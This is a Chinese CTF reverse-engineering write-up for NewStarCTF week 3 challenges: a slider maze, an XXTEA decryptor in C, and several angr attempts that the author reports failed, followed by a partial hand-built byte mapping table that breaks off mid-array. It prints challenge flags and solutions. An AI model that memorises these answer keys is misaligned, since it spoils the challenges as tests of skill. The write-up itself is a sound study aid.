key= fallw1nd

flag{Zzzz333_Is_Cool!!!}

The Slider's Labyrinth

The Slider's Labyrinth
滑块的迷宫

简单nop E8 去除花指令

main函数

分析知道 maze 16行，如下： * 起点 0 终点

maze: [注意，这里每选择一个方向，走到不能走【while() 那完成这项处理】]

################
#*        #    #
#              #
#    #         #
##             #
#        #    ##
#   #          #
#              #
#    #      # O#
################

dsasdwds


print(hashlib.md5('dsasdwds'.encode()).hexdigest())

# dsasdwds

flag{f71516bdf07abd7bc0668db9d6352364}

EzTea

key===>{0x19,0x19,0x8,0x10}

这里分析可以知道是XXTEA加密，网上很多脚本，简单修改delta, 加密的移位处理即可得到flag。

例如下面：

#include <cstdint>
#include <cstdio>
#define DELTA 0x11451400
#define MX (((z ^ (key[(e ^ p) & 3])) + (y ^ sum)) ^ (((32 * z) ^ (y >> 3)) + ((4 * y) ^ (z >> 4))))

uint8_t ida_chars[] =
{
  0x82, 0x8A, 0xFA, 0x38, 0x80, 0x13, 0x50, 0xD7, 0x9D, 0x96,
  0x40, 0x0E, 0x20, 0x91, 0x16, 0x4E, 0xAB, 0x29, 0x3A, 0x71,
  0x3D, 0x39, 0xE5, 0x6C, 0x2E, 0x75, 0x9D, 0xB6, 0xE6, 0x88,
  0x1A, 0x84, 0x59, 0xB4, 0x31, 0x6F};

uint32_t key[] ={0x19,0x19,0x8,0x10};  

void btea(uint32_t *v, int n, uint32_t const key[4])
{
    uint32_t y, z, sum;
    unsigned p, rounds, e;
    if (n > 1)            /* Coding Part */
    {
        rounds = 6 + 52/n;
        sum = 0;
        z = v[n-1];
        do
        {
            sum += DELTA;
            e = (sum >> 2) & 3;
            for (p=0; p<n-1; p++)
            {
                y = v[p+1];
                z = v[p] += MX;
            }
            y = v[0];
            z = v[n-1] += MX;
        }
        while (--rounds);
    }
    else if (n < -1)      /* Decoding Part */
    {
        n = -n;
        rounds = 6 + 52/n;
        sum = rounds*DELTA;
        y = v[0];
        do
        {
            e = (sum >> 2) & 3;
            for (p=n-1; p>0; p--)
            {
                z = v[p-1];
                y = v[p] -= MX;
            }
            z = v[n-1];
            y = v[0] -= MX;
            sum -= DELTA;
        }
        while (--rounds);
    }
}
int main() {
    uint32_t *p = (uint32_t *)ida_chars; // 这里自动实现了小端序的转换
    for (int i=0;i<9;i++)
    {
        printf("%0x,",p[i]);
    }
    btea(p, -9, key);
    for(int i = 0; i < 36; i +=1 ) {

        printf("%c", ida_chars[i]);
    }
}

flag{H0P3_U_L1k3_Th15_CUP_0f_TEa.}

Annnnnggrr

0x01 angr 思路分析

结合题目，考点应该是 angr 的使用。

(173条消息) CTF 逆向工具angr的学习笔记___lifanxin的博客-CSDN博客_ctf逆向工具

【angr_ctf】二进制分析工具angr使用与练习-Part I（基础篇） - 求索 (gentlecp.com)

#encoding=utf-8
import angr

# 方式1，通过期望地址 和 避免地址 进行 angr 符号处理

proj = angr.Project(r"./Annnnnggrr",auto_load_libs=False) #载入程序
state = proj.factory.entry_state() #找入口点
simgr = proj.factory.simgr(state)  #从入口点开始爆破
simgr.explore(find=0x140002498,avoid=0x140002491) #期望路径 和 避免的路径
print (simgr.found[0].posix.dump(0)) #打印正确输入

# 该脚本无法跑出，应该是下面所示的，通过使用cmova，0x140002491、0x140002498两个地址都有使用到，所以导致上述脚本无用


.text:0000000140002484 88 05 C1 31 00 00             mov     cs:byte_14000564B, al
.text:000000014000248A E8 93 0C 00 00                call    memcmp
.text:000000014000248A
.text:000000014000248F 85 C0                         test    eax, eax
.text:0000000140002491 48 8D 15 F8 1D 00 00          lea     rdx, aFailed                    ; "Failed."
.text:0000000140002498 48 8D 0D E1 1D 00 00          lea     rcx, aSuccess                   ; "Success!"
.text:000000014000249F 48 0F 45 CA                   cmovnz  rcx, rdx                        ; Format
.text:00000001400024A3 E8 78 EB FF FF                call    sub_140001020

# cmp        %rsi,   %rdi
# cmova        %rdx,   %rax    

如果RDI寄存器中的值大于RSI寄存器中的值，则把RAX寄存器中的值替换为RDX寄存器中的值。


# 方式二
# 通过输出值进行期望设置，来符号运算 但是,速度太慢，能否跑出来不知道【尝试跑了30分钟左右，放弃】

import angr
pro = angr.Project(r"F:\CTF_\CTF练习\2022_ctf\NewStarCTF 公开赛\Week3\Re\Annnnnggrr\Annnnnggrr.exe",auto_load_libs=False)

init_state = pro.factory.entry_state()
simu = pro.factory.simgr(init_state)

def success(state):
    output = state.posix.dumps(1)   # get output from stdout
    return b"Success!" in output

def abort(state):
    output = state.posix.dumps(1)   # get output from stdout
    return b"Failed." in output

simu.explore(find=success, avoid=abort)
if simu.found:
    res = simu.found[0]
    for i in range(3):
        print(res.posix.dumps(i))
else:
    print("No result!")


#encoding=utf-8
import angr
import claripy

# 方式三，设置寄存器 eax, 但也没有用。原因未知，

p = angr.Project(r"F:\CTF_\CTF练习\2022_ctf\NewStarCTF 公开赛\Week3\Re\Annnnnggrr\Annnnnggrr.exe",auto_load_libs=False)

init_addr = 0x140001103 # scanf的下一条指令地址
state = p.factory.blank_state(addr=init_addr)  # 创建一个状态，并将该地址赋给它，也就是跳过输入，直接执行下一条指令,此处使用.blank_state()而不再是.entry_state()

# 定义1个位向量，即1个输入
p1 = claripy.BVS('p1', 64*4)  # 32位寄存器（符号向量）
# p2 = claripy.BVS('p2', 32)
# p3 = claripy.BVS('p3', 32)

state.regs.eax = p1  # .regs.eax 访问eax这个寄存器
# state.regs.ebx = p2
# state.regs.edx = p3
sm = p.factory.simulation_manager(state)

def good(state):
    return b'Success!' in state.posix.dumps(1)

def bad(state):
    return b'Failed.' in state.posix.dumps(1)

sm.explore(find=good, avoid=bad)
if sm.found:
    find_state = sm.found[0]
    flag1 = find_state.solver.eval(p1)  # 将探索成功时的第一个输入赋给flag1，下面两个类似
    # flag2 = find_state.solver.eval(p2)
    # flag3 = find_state.solver.eval(p3)
    # print('{:x} {:x} {:x}'.format(flag1, flag2, flag3))
    print('{:x}'.format(flag1))

测试了好多，都没有用。但是题目显然就是考这个angr 符号求解,只能等Wp 看如何使用。

那还有其他解决方案吗？

0x02 其他解决方案

z3 or 爆破解决：

# z3发现解不出来，直接麻了！！！

# 后面尝试，直接爆破没居然无解

【整理数据花了很久，但没出结果,直接哭。这里原因未知，可能数据整理时有误，也可能其他】
【尝试爆破也无解，难道数据之间有相互运算，我没注意到？？？】

只能尝试最后一种方案了：利用程序，获取flag。【分析程序可以知道，各个位置上的，输入与输出有一一对应关系，依据线性关系，获取每个字符，每个位置对应的输出，ida 手动patch 出一一对应关系的数据，然后根据密文映射出flag】

显然，这种方式很费时间【当然，如果能写交互脚本，patch data,又会简单很多】

下面是手动patch 出的映射关系表【不会写脚本，就勤能补拙吧】

# -*- coding: UTF-8 -*-

test = '!#$*+-0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz{}~\'&'

enc = [0x4F, 0x17, 0x0C, 0x56, 0xDB, 0x67, 0x5D, 0x67, 0x32, 0x2B,
       0x36, 0x03, 0x02, 0xF3, 0xA1, 0xE4, 0xC7, 0x27, 0xC1, 0xB6,
       0x4C, 0xD7, 0x59, 0xA1, 0x71, 0x52, 0x9A, 0xE2, 0x21, 0x96,
       0x0C, 0xCA]

test_ = [[0xEE, 0x62, 0xCC, 0x20, 0xE9, 0x5B, 0x39, 0x0B, 0x0C, 0x93,
          0xF0, 0x21, 0xC2, 0x04, 0x2F, 0x27, 0x8D, 0xBD, 0x81, 0x81,
          0x9A, 0xE1, 0x09, 0x56, 0x33, 0x5D, 0x9F, 0x5C, 0x61, 0x17,
          0xC5, 0x9E],
         [0x60, 0x4C, 0xF2, 0x02, 0xA3, 0x19, 0xC7, 0xF9, 0xFE, 0x15,
          0xF2, 0x23, 0x64, 0x7A, 0x25, 0x79, 0x43, 0x67, 0x37, 0xDB,
          0x8C, 0x5B, 0x7B, 0xA8, 0x9D, 0x47, 0xFD, 0xDE, 0xD3, 0x5D,
          0xF7, 0x7C],
         [0xB5, 0x1F, 0xC7, 0x17, 0xE4, 0xFA, 0xD8, 0xB8, 0x45, 0x72,
          0xBB, 0x24, 0x75, 0x8D, 0xDC, 0x54, 0xD8, 0x3A, 0x62, 0x2E,
          0x21, 0x78, 0x84, 0x51, 0xBC, 0x26, 0xEA, 0x6D, 0xD8, 0xAE,
          0xD4, 0x27],
         [0x33, 0xCD, 0x59, 0x55, 0x4A, 0x04, 0x5A, 0x4A, 0x8B, 0xF0,
          0x69, 0x2A, 0x8B, 0x97, 0xD6, 0x4A, 0x2A, 0xC0, 0x0C, 0x74,
          0x17, 0x96, 0x3A, 0xA7, 0xB2, 0xFC, 0x6C, 0xD3, 0xC6, 0x08,
          0xFA, 0x51],
         [0xA8, 0xC4, 0xCA, 0xFA, 0x2B, 0x11, 0x9F, 0x51, 0x96, 0xED,
          0xBA, 0x2B, 0x5C, 0xC2, 0x1D, 0x31, 0xAB, 0xDF, 0x5F, 0x63,
          0x64, 0xF3, 0x23, 0x30, 0xD5, 0xBF, 0x55, 0xA6, 0x4B, 0xE5,
          0x0F, 0x94],
         [0xCA, 0x96, 0x80, 0x8C, 0x25, 0xCF, 0x1D, 0x27, 0xE0, 0x8F,
          0x54, 0x2D, 0x5E, 0xA8, 0xB3, 0xBB, 0x91, 0x89, 0x15, 0x1D,
          0xD6, 0xFD, 0x35, 0xE2, 0x57, 0xE9, 0x5B, 0x10, 0x65, 0xE3,
          0xD9, 0x7A],
         [0xD1, 0xF3, 0x6B, 0x63, 0x50, 0x0E, 0xAC, 0x44, 0x59, 0xFE,
          0xDF, 0x30, 0x61, 0xE1, 0xD0, 0x68, 0x4C, 0x16, 0xF6, 0xEA,
          0x7D, 0x24, 0x10, 0x3D, 0xF0, 0x42, 0xB6, 0x61, 0xFC, 0x7A,
          0xE8, 0x03],
         [0xFE, 0xB2, 0xBC, 0xB0, 0x99, 0xAB, 0x89, 0x3B, 0xBC, 0x43,
          0x00, 0x31, 0x32, 0xF4, 0x9F, 0xB7, 0xDD, 0x2D, 0xD1, 0x31,
          0x2A, 0xF1, 0x59, 0xE6, 0xC3, 0x2D, 0x4F, 0x6C, 0x31, 0xC7,
          0x95, 0xEE],  # 1
         [0xDB, 0x05, 0x91, 0x8D, 0x52, 0x5C, 0x32, 0x82, 0x63, 0x28,
          0x31, 0x32, 0xE3, 0x1F, 0x4E, 0x22, 0xB2, 0x18, 0x54, 0x3C,
          0x8F, 0xEE, 0x42, 0xEF, 0x4A, 0x74, 0x04, 0xDB, 0x5E, 0xD0,
          0x12, 0xA9],  # 2
         [0x30, 0xDC, 0x62, 0xD2, 0x13, 0x29, 0x57, 0x69, 0xAE, 0x85,
          0x02, 0x33, 0xD4, 0xEA, 0x15, 0x09, 0x93, 0x17, 0x47, 0x0B,
          0x9C, 0x2B, 0x4B, 0x78, 0xAD, 0x17, 0xAD, 0xAE, 0x23, 0x4D,
          0xC7, 0xCC],
         [0x45, 0x6F, 0x77, 0x27, 0xD4, 0xCA, 0x28, 0x68, 0xB5, 0xE2,
          0xCB, 0x34, 0x25, 0x7D, 0x4C, 0xA4, 0xA8, 0xAA, 0xB2, 0xDE,
          0x71, 0x88, 0x14, 0xE1, 0x0C, 0x76, 0x5A, 0x3D, 0x68, 0x5E,
          0xE4, 0xB7],
         [0xD2, 0x8E, 0xF8, 0xA4, 0x8D, 0x27, 0xF5, 0x1F, 0x58, 0x07,
          0xDC, 0x35, 0xD6, 0x90, 0x8B, 0x93, 0x59, 0x41, 0x5D, 0xC5,
          0xAE, 0x15, 0xDD, 0x2A, 0x8F, 0x41, 0x53, 0x18, 0x7D, 0x0B,
          0x51, 0xF2],
         [0x1F, 0x11, 0xAD, 0xD1, 0x46, 0x28, 0xDE, 0x56, 0x2F, 0x7C,
          0x0D, 0x36, 0x37, 0x3B, 0xCA, 0x1E, 0xFE, 0xDC, 0x40, 0xF0,
          0xA3, 0x02, 0x36, 0xE3, 0x76, 0x28, 0xA8, 0x57, 0xDA, 0x24,
          0xAE, 0x2D],
         [0x04, 0x88, 0xAE, 0x26, 0x37, 0x85, 0xF3, 0x3D, 0x9A, 0x99,
          0x0E, 0x37, 0xD8, 0x26, 0x91, 0x15, 0xDF, 0x0B, 0xB3, 0x3F,
          0x20, 0xFF, 0x1F, 0x4C, 0xB9, 0x3B, 0x41, 0x7A, 0x0F, 0x61,
          0x83, 0x50],
         [0xD9, 0x2B, 0xE3, 0x9B, 0x18, 0x06, 0x44, 0xBC, 0x51, 0xD6,
          0xC7, 0x38, 0x39, 0x09, 0xE8, 0xC0, 0xB4, 0x2E, 0x9E, 0x92,
          0x15, 0xFC, 0x38, 0x45, 0xA8, 0x5A, 0xAE, 0xA9, 0xF4, 0xA2,
          0x00, 0xFB],
         [0xA6, 0x6A, 0xF4, 0x08, 0xE1, 0x83, 0xA1, 0xB3, 0x14, 0xFB,
          0x08, 0x39, 0x4A, 0x3C, 0x57, 0xEF, 0xA5, 0x25, 0x79, 0xD9,
          0x62, 0x69, 0x01, 0x8E, 0x7B, 0x45, 0x67, 0xD4, 0x69, 0xCF,
          0x8D, 0xA6],  # 9
         [0xE1, 0x43, 0x9B, 0xF3, 0x80, 0xDE, 0x3C, 0x74, 0x09, 0x2E,
          0xEF, 0x40, 0xD1, 0x11, 0x40, 0x78, 0x5C, 0xC6, 0xC6, 0x5A,
          0x0D, 0xB4, 0x60, 0x0D, 0x00, 0x52, 0xE6, 0xF1, 0x0C, 0x2A,
          0xB8, 0x93],  # @
         [0xCE, 0x82, 0x6C, 0x40, 0x09, 0xBB, 0x99, 0x6B, 0xEC, 0x73,
          0x50, 0x41, 0xA2, 0xE4, 0x8F, 0xC7, 0xED, 0xDD, 0xE1, 0x61,
          0x3A, 0x41, 0x69, 0x36, 0x53, 0xFD, 0xBF, 0xBC, 0xC1, 0xF7,
          0xE5, 0xFE],  # A
         [0xEB, 0x15, 0x01, 0xDD, 0x02, 0xAC, 0x42, 0x32, 0x93, 0x58,
          0xC1, 0x42, 0x13, 0x0F, 0x3E, 0xF2, 0x82, 0x88, 0x64, 0xEC,
          0xDF, 0x7E, 0x52, 0x7F, 0x1A, 0x44, 0x34, 0x2B, 0x2E, 0x40,
          0xA2, 0xB9],
         [0xC0, 0xEC, 0x92, 0x22, 0xC3, 0x79, 0xA7, 0x59, 0xDE, 0xF5,
          0xD2, 0x43, 0x44, 0xDA, 0x05, 0x19, 0xA3, 0x07, 0x17, 0x3B,
          0x2C, 0x3B, 0xDB, 0x88, 0x3D, 0x67, 0x1D, 0xBE, 0xB3, 0x3D,
          0x17, 0x5C],
         [0x95, 0x3F, 0xE7, 0x37, 0x04, 0xDA, 0x38, 0x18, 0x25, 0x52,
          0x1B, 0x44, 0x55, 0xED, 0x3C, 0xF4, 0xB8, 0x5A, 0xC2, 0x0E,
          0xC1, 0x58, 0xE4, 0x31, 0xDC, 0x46, 0x8A, 0xCD, 0xB8, 0x8E,
          0x74, 0x87],
         [0xE2, 0x1E, 0x28, 0xF4, 0x3D, 0x77, 0x85, 0x8F, 0x88, 0xB7,
          0x2C, 0x45, 0x86, 0x80, 0x7B, 0x63, 0xA9, 0xB1, 0xAD, 0xF5,
          0x3E, 0x25, 0x6D, 0xFA, 0x9F, 0x51, 0x43, 0x28, 0xCD, 0x3B,
          0x61, 0x82],
         [0x6F, 0xA1, 0xDD, 0x21, 0xB6, 0xB8, 0xAE, 0xC6, 0xDF, 0xAC,
          0x9D, 0x46, 0xE7, 0xEB, 0x7A, 0xEE, 0x4E, 0x4C, 0xD0, 0xA0,
          0xF3, 0x92, 0x06, 0x33, 0x06, 0x78, 0x18, 0xE7, 0xEA, 0x94,
          0xFE, 0xFD],
         [0x94, 0xD8, 0x1E, 0x36, 0x67, 0x55, 0x03, 0xAD, 0x8A, 0xC9,
          0x5E, 0x47, 0x08, 0xD6, 0x81, 0x25, 0xAF, 0xFB, 0x03, 0xEF,
          0xF0, 0x0F, 0xEF, 0x1C, 0x89, 0x8B, 0x31, 0x8A, 0x1F, 0x11,
          0x13, 0xE0],
         [0x29, 0x3B, 0xD3, 0xEB, 0x08, 0xD6, 0x14, 0x6C, 0xC1, 0xC6,
          0x57, 0x48, 0xA9, 0xB9, 0x18, 0xD0, 0xC4, 0xDE, 0x6E, 0x42,
          0xA5, 0x4C, 0x08, 0x95, 0x38, 0x2A, 0x5E, 0xB9, 0x44, 0x92,
          0x50, 0xCB],
         [0xF6, 0x7A, 0x64, 0x98, 0x91, 0x53, 0x31, 0x23, 0x04, 0x2B,
          0x18, 0x49, 0xFA, 0xAC, 0x87, 0x3F, 0xF5, 0x55, 0xC9, 0x49,
          0x72, 0x79, 0xD1, 0x1E, 0x0B, 0x95, 0x97, 0xE4, 0xB9, 0x7F,
          0xDD, 0x76],  # I
         [0x13, 0xED, 0x79, 0x75, 0xEA, 0xE4, 0x3A, 0x2A, 0x6B, 0xD0,
          0x49, 0x4A, 0xEB, 0x77, 0xB6, 0x6A, 0x0A, 0x60, 0xEC, 0xD4,
          0xB7, 0x76, 0x1A, 0x87, 0x52, 0x9C, 0x8C, 0x33, 0xA6, 0x68,
          0x9A, 0x31],
         [0x88, 0xE4, 0xEA, 0x9A, 0x4B, 0x71, 0xFF, 0x31, 0xF6, 0x4D,
          0x9A, 0x4B, 0x3C, 0xA2, 0xFD, 0xD1, 0x8B, 0xFF, 0xBF, 0x43,
          0x04, 0xD3, 0x83, 0x10, 0xF5, 0x5F, 0x75, 0x86, 0xAB, 0xC5,
          0xAF, 0xF4],
         [0x1D, 0xF7, 0x3F, 0x4F, 0x8C, 0xF2, 0xD0, 0x50, 0x7D, 0x2A,
          0x83, 0x4C, 0xAD, 0x15, 0xF4, 0xAC, 0xC0, 0x32, 0x0A, 0x56,
          0x19, 0xF0, 0x0C, 0xB9, 0x74, 0x9E, 0xC2, 0xF5, 0xF0, 0x36,
          0x6C, 0x5F],
         [0x2A, 0xB6, 0xA0, 0xAC, 0x45, 0x2F, 0xFD, 0x87, 0x40, 0xEF,
          0xB4, 0x4D, 0xBE, 0x08, 0x93, 0x5B, 0xF1, 0x29, 0xF5, 0xFD,
          0xF6, 0xDD, 0x15, 0xC2, 0x77, 0x09, 0xFB, 0xF0, 0x45, 0x43,
          0xF9, 0x5A],  # M
         [0xD7, 0x19, 0x15, 0x39, 0x1E, 0x30, 0xA6, 0xDE, 0x17, 0x84,
          0xA5, 0x4E, 0x3F, 0x13, 0x12, 0x86, 0xD6, 0x84, 0x98, 0x28,
          0x6B, 0xEA, 0xEE, 0x9B, 0x7E, 0x70, 0xD0, 0xEF, 0x02, 0x1C,
          0xD6, 0x35],
         [0x7C, 0x50, 0x76, 0xCE, 0xCF, 0xAD, 0x7B, 0x45, 0x42, 0x61,
          0x66, 0x4F, 0x80, 0xBE, 0xD9, 0xBD, 0x37, 0xB3, 0x2B, 0xD7,
          0xC8, 0x87, 0xB7, 0xE4, 0x61, 0x03, 0x69, 0x52, 0x97, 0xF9,
          0x4B, 0xF8],
         [0x31, 0x13, 0x8B, 0x03, 0xF0, 0xEE, 0x8C, 0x24, 0xB9, 0xDE,
          0xBF, 0x50, 0xC1, 0x41, 0x30, 0x08, 0x2C, 0xB6, 0x56, 0xCA,
          0x9D, 0x04, 0xF0, 0x9D, 0x10, 0x62, 0xD6, 0x41, 0x5C, 0x5A,
          0x08, 0x63],
         [0x5E, 0x52, 0xDC, 0x50, 0xB9, 0x0B, 0x69, 0x1B, 0x9C, 0x23,
          0xE0, 0x51, 0x12, 0xD4, 0xFF, 0xD7, 0x3D, 0x4D, 0xB1, 0x11,
          0x4A, 0xD1, 0xB9, 0x46, 0x63, 0xCD, 0x6F, 0x4C, 0x91, 0x27,
          0x35, 0x4E],
         [0x3B, 0xA5, 0x31, 0xAD, 0x72, 0xBC, 0x12, 0x62, 0xC3, 0x88,
          0x11, 0x52, 0x43, 0xFF, 0x2E, 0xC2, 0x92, 0xB8, 0x34, 0x1C,
          0xAF, 0x4E, 0xA2, 0x4F, 0x6A, 0x94, 0x24, 0x3B, 0x3E, 0xB0,
          0xB2, 0x09],
         [0x10, 0xFC, 0x82, 0xF2, 0x33, 0x89, 0x37, 0xC9, 0x8E, 0x65,
          0x62, 0x53, 0x34, 0xCA, 0xF5, 0xA9, 0x73, 0x37, 0xA7, 0xEB,
          0x3C, 0x8B, 0xAB, 0x58, 0x4D, 0xB7, 0x4D, 0x8E, 0x83, 0xAD,
          0x67, 0x2C],
         [0x25, 0x8F, 0x17, 0xC7, 0xF4, 0xAA, 0x08, 0x48, 0x95, 0xC2,
          0xAB, 0x54, 0x85, 0xDD, 0x2C, 0xC4, 0x08, 0xCA, 0x92, 0x3E,
          0x11, 0x68, 0xF4, 0x41, 0x2C, 0x16, 0x7A, 0x9D, 0x48, 0xBE,
          0x04, 0x97],
         [0xB2, 0x2E, 0x18, 0x44, 0xAD, 0x87, 0x55, 0xFF, 0xB8, 0x67,
          0x3C, 0x55, 0x36, 0x70, 0x6B, 0xB3, 0x39, 0x61, 0x3D, 0xA5,
          0xCE, 0x75, 0xBD, 0x8A, 0xAF, 0x61, 0xF3, 0xF8, 0x5D, 0xEB,
          0x71, 0xD2],
         [0x7F, 0xB1, 0x4D, 0xF1, 0xE6, 0x88, 0x3E, 0xB6, 0x0F, 0xDC,
          0xED, 0x56, 0x97, 0x1B, 0xAA, 0x3E, 0xDE, 0x7C, 0xA0, 0x50,
          0x43, 0x62, 0x96, 0xC3, 0x16, 0x48, 0x48, 0xB7, 0xBA, 0x04,
          0xCE, 0x8D],
         [0x64, 0x28, 0x4E, 0xC6, 0xD7, 0x65, 0xD3, 0x9D, 0xFA, 0x79,
          0xEE, 0x57, 0x38, 0x86, 0xF1, 0x35, 0x3F, 0xAB, 0x13, 0x1F,
          0xC0, 0xDF, 0xFF, 0x2C, 0x59, 0xDB, 0xE1, 0xDA, 0xEF, 0x41,
          0xA3, 0xB0],
         [0x39, 0xCB, 0x03, 0x3B, 0x38, 0x66, 0x24, 0x9C, 0xB1, 0xB6,
          0xA7, 0x58, 0x99, 0x69, 0x48, 0xE0, 0x94, 0x4E, 0xFE, 0xF2,
          0xB5, 0x5C, 0x98, 0xA5, 0xC8, 0xFA, 0x4E, 0x89, 0xD4, 0x82,
          0xA0, 0xDB],
         [0x86, 0x0A, 0x94, 0x28, 0x01, 0xE3, 0x81, 0x93, 0x74, 0x5B,
          0xE8, 0x59, 0x2A, 0x1C, 0x37, 0x8F, 0x05, 0x45, 0x59, 0xB9,
          0x02, 0xC9, 0x61, 0xEE, 0x1B, 0xE5, 0x07, 0x34, 0xC9, 0xAF,
          0x2D, 0x06],
         [0x63, 0xBD, 0x69, 0x05, 0x1A, 0x74, 0xCA, 0xDA, 0x1B, 0x00,
          0x99, 0x5A, 0x9B, 0xA7, 0xE6, 0xBA, 0x5A, 0xD0, 0xFC, 0x44,
          0xC7, 0x46, 0xEA, 0x97, 0x22, 0xAC, 0x7C, 0x03, 0xF6, 0x98,
          0x6A, 0x01],  # Z
         [0x8C, 0xE0, 0x26, 0xDE, 0xFF, 0xFD, 0x8B, 0x35, 0x32, 0x11,
          0x36, 0x5F, 0x30, 0xEE, 0xC9, 0x4D, 0xC7, 0xE3, 0x7B, 0x87,
          0x18, 0xD7, 0xC7, 0xF4, 0x71, 0x53, 0x19, 0xE2, 0xE7, 0x69,
          0x9B, 0xC8],
         [0xAE, 0xA2, 0x0C, 0xE0, 0xA9, 0x9B, 0x79, 0x4B, 0xCC, 0x53,
          0xB0, 0x61, 0x02, 0x44, 0x6F, 0x67, 0xCD, 0x7D, 0xC1, 0x41,
          0x5A, 0xA1, 0x49, 0x16, 0xF3, 0x1D, 0xDF, 0x9C, 0x21, 0xD7,
          0x05, 0xDE],  # a
         [0xCB, 0xB5, 0xA1, 0xFD, 0xA2, 0x0C, 0x22, 0x92, 0xF3, 0xB8,
          0xA1, 0x62, 0xF3, 0xEF, 0x9E, 0x92, 0xE2, 0xA8, 0xC4, 0x4C,
          0x7F, 0xDE, 0xB2, 0x5F, 0xBA, 0x64, 0x54, 0x8B, 0x8E, 0xA0,
          0x42, 0x99],
         [0x20, 0x8C, 0x32, 0xC2, 0x63, 0x59, 0x07, 0x39, 0xBE, 0xD5,
          0xB2, 0x63, 0xA4, 0xBA, 0x65, 0xB9, 0x83, 0x27, 0x77, 0x9B,
          0x4C, 0x1B, 0xBB, 0x68, 0x5D, 0x07, 0x3D, 0x1E, 0x93, 0x1D,
          0x37, 0xBC],
         [0x75, 0x5F, 0x07, 0xD7, 0xA4, 0x3A, 0x18, 0xF8, 0x05, 0x32,
          0x7B, 0x64, 0xB5, 0xCD, 0x1C, 0x94, 0x18, 0xFA, 0xA2, 0xEE,
          0xE1, 0x38, 0xC4, 0x11, 0x7C, 0xE6, 0x2A, 0xAD, 0x98, 0x6E,
          0x14, 0x67],
         [0xC2, 0xBE, 0x48, 0x94, 0xDD, 0xD7, 0xE5, 0x6F, 0xE8, 0x97,
          0x0C, 0x65, 0xE6, 0xE0, 0xDB, 0x83, 0x09, 0x51, 0x8D, 0x55,
          0x5E, 0x05, 0xCD, 0x5A, 0xBF, 0x71, 0xE3, 0x08, 0x2D, 0x9B,
          0x01, 0xE2],
         [0x4F, 0x41, 0x7D, 0xC1, 0xD6, 0x98, 0x0E, 0xA6, 0xBF, 0x0C,
          0x7D, 0x66, 0xC7, 0xCB, 0xDA, 0x8E, 0x2E, 0xEC, 0x30, 0x80,
          0x93, 0xF2, 0xE6, 0x13, 0xA6, 0x18, 0xB8, 0xC7, 0x4A, 0x74,
          0x9E, 0xDD],
         [0xF4, 0xF8, 0x3E, 0x56, 0x87, 0x35, 0x63, 0x0D, 0xEA, 0xA9,
          0x3E, 0x67, 0xE8, 0xB6, 0xE1, 0x45, 0x0F, 0x9B, 0xE3, 0xCF,
          0x90, 0xEF, 0xCF, 0x7C, 0x29, 0xAB, 0x51, 0xEA, 0xFF, 0x71,
          0xB3, 0x40],
         [0x89, 0xDB, 0x73, 0x0B, 0x28, 0x36, 0x74, 0xCC, 0x21, 0xA6,
          0xB7, 0x68, 0x09, 0x19, 0xF8, 0x70, 0xA4, 0xFE, 0xCE, 0x22,
          0x45, 0x2C, 0x68, 0xF5, 0x58, 0xCA, 0xFE, 0x99, 0xA4, 0xF2,
          0xF0, 0x2B],
         [0x56, 0x9A, 0x04, 0xB8, 0x31, 0x33, 0x11, 0x03, 0xE4, 0x8B,
          0x78, 0x69, 0xDA, 0x0C, 0x67, 0xDF, 0x55, 0x75, 0xA9, 0xA9,
          0x12, 0xD9, 0x31, 0xFE, 0xAB, 0xB5, 0x37, 0xC4, 0x99, 0x5F,
          0xFD, 0x56],
         [0xF3, 0x0D, 0x99, 0x15, 0x0A, 0x44, 0x9A, 0x8A, 0x4B, 0xB0,
          0x29, 0x6A, 0xCB, 0xD7, 0x16, 0x8A, 0x6A, 0x80, 0x4C, 0x34,
          0xD7, 0x56, 0x7A, 0x67, 0x72, 0xBC, 0xAC, 0x13, 0x86, 0xC8,
          0x3A, 0x91],
         [0xF3, 0x0D, 0x99, 0x15, 0x0A, 0x44, 0x9A, 0x8A, 0x4B, 0xB0,
          0x29, 0x6A, 0xCB, 0xD7, 0x16, 0x8A, 0x6A, 0x80, 0x4C, 0x34,
          0xD7, 0x56, 0x7A, 0x67, 0x72, 0xBC, 0xAC, 0x13, 0x86, 0xC8,
          0x3A, 0x91],
         [0x7D, 0x17, 0x5F, 0xEF, 0xAC, 0xD2, 0xB0, 0x30, 0xDD, 0x0A,
          0xE3, 0x6C, 0x0D, 0x75, 0xD4, 0xCC, 0xA0, 0x52, 0xEA, 0xB6,
          0xB9, 0xD0, 0x6C, 0x99, 0x14, 0x3E, 0x62, 0xD5, 0x50, 0x96,
          0x0C, 0xBF],
         [0x8A, 0xD6, 0xC0, 0x4C, 0xE5, 0x0F, 0x5D, 0x67, 0xA0, 0x4F,
          0x14, 0x6D, 0x9E, 0xE8, 0xF3, 0xFB, 0xD1, 0x49, 0x55, 0xDD,
          0x96, 0xBD, 0x75, 0xA2, 0x17, 0xA9, 0x9B, 0x50, 0x25, 0xA3,
          0x19, 0xBA],
         [0x37, 0xB9, 0xB5, 0xD9, 0xBE, 0x90, 0x06, 0x3E, 0x77, 0xE4,
          0x85, 0x6E, 0x9F, 0xF3, 0xF2, 0xA6, 0x36, 0x24, 0xF8, 0x88,
          0x0B, 0x4A, 0xCE, 0x7B, 0x9E, 0x10, 0x70, 0x4F, 0xE2, 0xFC,
          0xF6, 0x15],
         [0xDC, 0x70, 0x96, 0x6E, 0xEF, 0x8D, 0xDB, 0x25, 0x22, 0x41,
          0xC6, 0x6F, 0xE0, 0x1E, 0xB9, 0xDD, 0x97, 0x53, 0x0B, 0xB7,
          0xE8, 0xE7, 0x97, 0xC4, 0x01, 0x23, 0x09, 0x32, 0x77, 0x59,
          0x6B, 0x58],
         [0x91, 0x33, 0xAB, 0x23, 0x10, 0x4E, 0xEC, 0x84, 0x19, 0xBE,
          0x9F, 0x70, 0xA1, 0x21, 0x10, 0xA8, 0x8C, 0xD6, 0x36, 0xAA,
          0x3D, 0xE4, 0x50, 0xFD, 0xB0, 0x02, 0xF6, 0xA1, 0xBC, 0x3A,
          0x28, 0x43],
         [0xBE, 0xF2, 0xFC, 0x70, 0x59, 0xEB, 0xC9, 0x7B, 0x7C, 0x03,
          0xC0, 0x71, 0x72, 0x34, 0xDF, 0xF7, 0x1D, 0xED, 0x11, 0xF1,
          0xEA, 0xB1, 0x99, 0xA6, 0x83, 0xED, 0x8F, 0xAC, 0xF1, 0x87,
          0xD5, 0x2E],
         [0x9B, 0x45, 0xD1, 0x4D, 0x12, 0x9C, 0x72, 0xC2, 0x23, 0xE8,
